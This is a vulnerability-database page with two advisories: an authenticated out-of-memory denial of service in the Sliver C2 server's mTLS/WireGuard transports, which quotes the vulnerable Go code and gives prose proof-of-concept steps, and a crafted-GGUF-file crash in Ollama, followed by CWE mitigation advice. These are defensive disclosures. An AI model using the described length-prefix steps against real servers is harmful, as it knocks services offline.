A Remote OOM (Out-of-Memory) vulnerability exists in the Sliver C2 server's mTLS and WireGuard C2 transport layer. The socketReadEnvelope and socketWGReadEnvelope functions trust an attacker-controlled 4-byte length prefix to allocate memory, with ServerMaxMessageSize allowing single allocations of up to ~2 GiB. A compromised implant or an attacker with valid credentials can exploit this by sending fabricated length prefixes over concurrent yamux streams (up to 128 per connection), forcing the server to attempt allocating ~256 GiB of memory and triggering an OS OOM kill. This crashes the Sliver server, disrupts all active implant sessions, and may degrade or kill other processes sharing the same host. The same pattern also affects all implant-side readers, which have no upper-bound check at all.

Root Cause Analysis

The C2 envelope framing protocol uses a 4-byte little-endian length prefix to delimit protobuf messages on the wire:

[raw_signature (74 bytes)] [uint32 length] [protobuf data]

In socketReadEnvelope, after reading the length prefix, the server immediately allocates a buffer of the attacker-specified size:

// server/c2/mtls.go
const ServerMaxMessageSize = (2 * 1024 * 1024 * 1024) - 1  // ~2 GiB

dataLength := int(binary.LittleEndian.Uint32(dataLengthBuf))
if dataLength <= 0 || ServerMaxMessageSize < dataLength {
    return nil, errors.New("[pivot] invalid data length")
}
dataBuf := make([]byte, dataLength)  // ← Allocates up to ~2 GiB

// ... data is read into buffer ...

// Envelope signature verification happens AFTER allocation and read:
if !ed25519.Verify(pubKey, dataBuf, signature) {
    return nil, errors.New("[mtls] invalid signature")
}

Key issues:

  1. Excessive limit: ServerMaxMessageSize is set to (2 * 1024 * 1024 * 1024) - 1 ≈ 2 GiB, far exceeding any legitimate protobuf envelope (large payloads like screenshots and downloads are chunked at the RPC layer).
  2. Allocation before envelope verification: While the TLS handshake validates the client certificate, the per-envelope ed25519 signature check (ed25519.Verify) occurs after the buffer allocation and io.ReadFull. Once the TLS connection is established, no further cryptographic proof is needed to trigger the allocation.
  3. Yamux amplification: The yamux session allows up to mtlsYamuxMaxConcurrentStreams = 128 concurrent streams. Each stream processes socketReadEnvelope independently, so a single connection can trigger 128 parallel ~2 GiB allocations.
  4. Implant-side exposure: The implant-side readers (ReadEnvelope in mTLS/WireGuard, read() in pivots) have no upper-bound check at all — they accept any dataLength > 0.

The same pattern exists in socketWGReadEnvelope for the WireGuard transport.

Note: The same unbounded allocation pattern is also present in implant-side readers, though it poses no immediate risk to the server 1, 2, 3, 4.

Proof of Concept

PoC Links: mtls_poc.go or Gist Version 1. Establish mTLS connection: Complete a valid TLS 1.3 handshake presenting a valid implant client certificate. 2. Negotiate yamux: Send the MUX/1 preface to enter multiplexed stream mode. 3. Open concurrent streams: Open multiple yamux streams (up to 128). 4. Send malicious length prefix: On each stream, send a 74-byte raw signature buffer followed by a 4-byte length prefix claiming 0x7FFFFFFF (2,147,483,647 bytes ≈ 2 GiB). No actual data needs to follow. 5. Result: Each stream triggers a make([]byte, 0x7FFFFFFF) allocation. With 128 concurrent streams, the server process attempts to allocate up to ~256 GiB of memory, causing the OS OOM killer to terminate the process.

Impact

  • Server availability: The Sliver server process is killed. Active implant sessions are disrupted until the operator manually restarts the server.
  • Host degradation: On hosts with swap enabled, the OOM event may cause swap thrashing and degrade other services sharing the same host before the process is killed.
Severity
5.7 (Medium)
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/bishopfox/sliver"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "1.7.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-32941"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-770",
      "CWE-789"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-17T17:48:45Z",
    "nvd_published_at": "2026-03-20T04:16:49Z",
    "severity": "MODERATE"
  },
  "details": "# Summary\nA Remote OOM (Out-of-Memory) vulnerability exists in the Sliver C2 server\u0027s mTLS and WireGuard C2 transport layer. The\u00a0`socketReadEnvelope`\u00a0and `socketWGReadEnvelope`\u00a0functions trust an attacker-controlled 4-byte length prefix to allocate memory, with\u00a0`ServerMaxMessageSize`\u00a0allowing single allocations of up to\u00a0**~2 GiB**. A compromised implant or an attacker with valid credentials can exploit this by sending fabricated length prefixes over concurrent yamux streams (up to 128 per connection), forcing the server to attempt allocating\u00a0**~256 GiB**\u00a0of memory and triggering an OS OOM kill. This crashes the Sliver server, disrupts all active implant sessions, and may degrade or kill other processes sharing the same host. The same pattern also affects all implant-side readers, which have\u00a0**no**\u00a0upper-bound check at all.\n\n---\n# Root Cause Analysis\n\nThe C2 envelope framing protocol uses a 4-byte little-endian length prefix to delimit protobuf messages on the wire:\n\n```\n[raw_signature (74 bytes)] [uint32 length] [protobuf data]\n```\n\nIn [socketReadEnvelope](https://github.com/BishopFox/sliver/blob/master/server/c2/mtls.go#L337-L392), after reading the length prefix, the server immediately allocates a buffer of the attacker-specified size:\n\n```go\n// server/c2/mtls.go\nconst ServerMaxMessageSize = (2 * 1024 * 1024 * 1024) - 1  // ~2 GiB\n\ndataLength := int(binary.LittleEndian.Uint32(dataLengthBuf))\nif dataLength \u003c= 0 || ServerMaxMessageSize \u003c dataLength {\n    return nil, errors.New(\"[pivot] invalid data length\")\n}\ndataBuf := make([]byte, dataLength)  // \u2190 Allocates up to ~2 GiB\n\n// ... data is read into buffer ...\n\n// Envelope signature verification happens AFTER allocation and read:\nif !ed25519.Verify(pubKey, dataBuf, signature) {\n    return nil, errors.New(\"[mtls] invalid signature\")\n}\n```\n\n**Key issues:**\n\n1. **Excessive limit**: `ServerMaxMessageSize` is set to `(2 * 1024 * 1024 * 1024) - 1` \u2248 **2 GiB**, far exceeding any legitimate protobuf envelope (large payloads like screenshots and downloads are chunked at the RPC layer).\n2. **Allocation before envelope verification**: While the TLS handshake validates the client certificate, the per-envelope ed25519 signature check (`ed25519.Verify`) occurs **after** the buffer allocation and `io.ReadFull`. Once the TLS connection is established, no further cryptographic proof is needed to trigger the allocation.\n3. **Yamux amplification**: The yamux session allows up to `mtlsYamuxMaxConcurrentStreams = 128` concurrent streams. Each stream processes `socketReadEnvelope` independently, so a single connection can trigger **128 parallel ~2 GiB allocations**.\n4. **Implant-side exposure**: The implant-side readers ([ReadEnvelope](https://github.com/BishopFox/sliver/blob/master/implant/sliver/transports/mtls/mtls.go#L184) in mTLS/WireGuard, [read()](https://github.com/BishopFox/sliver/blob/master/implant/sliver/pivots/pivots.go#L478) in pivots) have **no upper-bound check at all** \u2014 they accept any `dataLength \u003e 0`.\n\nThe same pattern exists in [socketWGReadEnvelope](https://github.com/BishopFox/sliver/blob/master/server/c2/wireguard.go#L428-L487) for the WireGuard transport.\n\n\n_Note: The same unbounded allocation pattern is also present in implant-side readers, though it poses no immediate risk to the server [1](https://github.com/BishopFox/sliver/blob/master/implant/sliver/transports/mtls/mtls.go#L185), [2](https://github.com/BishopFox/sliver/blob/master/implant/sliver/transports/wireguard/wireguard.go#L178), [3](https://github.com/BishopFox/sliver/blob/master/implant/sliver/pivots/pivots.go), [4](https://github.com/BishopFox/sliver/blob/master/implant/sliver/transports/pivotclients/pivotclient.go)._\n\n\n---\n\n# Proof of Concept\nPoC Links: [mtls_poc.go](https://github.com/skoveit/Sliver-OOM-DoS-PoC/) or [Gist Version](https://gist.github.com/skoveit/08f3ec08ffbf3deeff189a83ef827dcf)\n1. **Establish mTLS connection**: Complete a valid TLS 1.3 handshake presenting a valid implant client certificate.\n2. **Negotiate yamux**: Send the `MUX/1` preface to enter multiplexed stream mode.\n3. **Open concurrent streams**: Open multiple yamux streams (up to 128).\n4. **Send malicious length prefix**: On each stream, send a 74-byte raw signature buffer followed by a 4-byte length prefix claiming `0x7FFFFFFF` (2,147,483,647 bytes \u2248 2 GiB). No actual data needs to follow.\n5. **Result**: Each stream triggers a `make([]byte, 0x7FFFFFFF)` allocation. With 128 concurrent streams, the server process attempts to allocate **up to ~256 GiB** of memory, causing the OS OOM killer to terminate the process.\n\n# Impact\n- **Server availability**: The Sliver server process is killed. Active implant sessions are disrupted until the operator manually restarts the server.\n- **Host degradation**: On hosts with swap enabled, the OOM event may cause swap thrashing and degrade other services sharing the same host before the process is killed.",
  "id": "GHSA-97vp-pwqj-46qc",
  "modified": "2026-03-30T14:04:02Z",
  "published": "2026-03-17T17:48:45Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/BishopFox/sliver/security/advisories/GHSA-97vp-pwqj-46qc"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-32941"
    },
    {
      "type": "WEB",
      "url": "https://gist.github.com/skoveit/08f3ec08ffbf3deeff189a83ef827dcf"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/BishopFox/sliver"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Sliver Vulnerable to Authenticated OOM via Memory Exhaustion in mTLS/WireGuard Transports"
}

GHSA-9HHJ-2JWX-R87P

Vulnerability from github – Published: 2026-07-22 00:32 – Updated: 2026-07-22 00:32
VLAI
Details

Ollama (HEAD f0078ae) contains an uncontrolled memory allocation vulnerability in the GGUF metadata parser that allows remote attackers to crash the server by supplying a crafted GGUF file with attacker-controlled length and count fields in string lengths, tensor dimension counts, and metadata array counts that are used as allocation sizes without validation against remaining file size. Attackers can upload a sub-1KB crafted GGUF file via the blob upload and model create or pull API endpoints to trigger unrecoverable Go runtime out-of-memory fatal errors or makeslice panics that bypass recovery middleware and crash the entire server process.

Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
8.7 (High)
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2026-65315"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-789"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-07-21T22:19:10Z",
    "severity": "HIGH"
  },
  "details": "Ollama (HEAD f0078ae) contains an uncontrolled memory allocation vulnerability in the GGUF metadata parser that allows remote attackers to crash the server by supplying a crafted GGUF file with attacker-controlled length and count fields in string lengths, tensor dimension counts, and metadata array counts that are used as allocation sizes without validation against remaining file size. Attackers can upload a sub-1KB crafted GGUF file via the blob upload and model create or pull API endpoints to trigger unrecoverable Go runtime out-of-memory fatal errors or makeslice panics that bypass recovery middleware and crash the entire server process.",
  "id": "GHSA-9hhj-2jwx-r87p",
  "modified": "2026-07-22T00:32:34Z",
  "published": "2026-07-22T00:32:34Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-65315"
    },
    {
      "type": "WEB",
      "url": "https://github.com/ollama/ollama/issues/17042"
    },
    {
      "type": "WEB",
      "url": "https://github.com/ollama/ollama"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/ollama-remote-denial-of-service-via-attacker-controlled-allocation-in-gguf-metadata-parser"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}
Mitigation
Implementation Architecture and Design

Perform adequate input validation against any value that influences the amount of memory that is allocated. Define an appropriate strategy for handling requests that exceed the limit, and consider supporting a configuration option so that the administrator can extend the amount of memory to be used if necessary.

Mitigation
Operation

Run your program using system-provided resource limits for memory. This might still cause the program to crash or exit, but the impact to the rest of the system will be minimized.

No CAPEC attack patterns related to this CWE.

← Back to the CWE list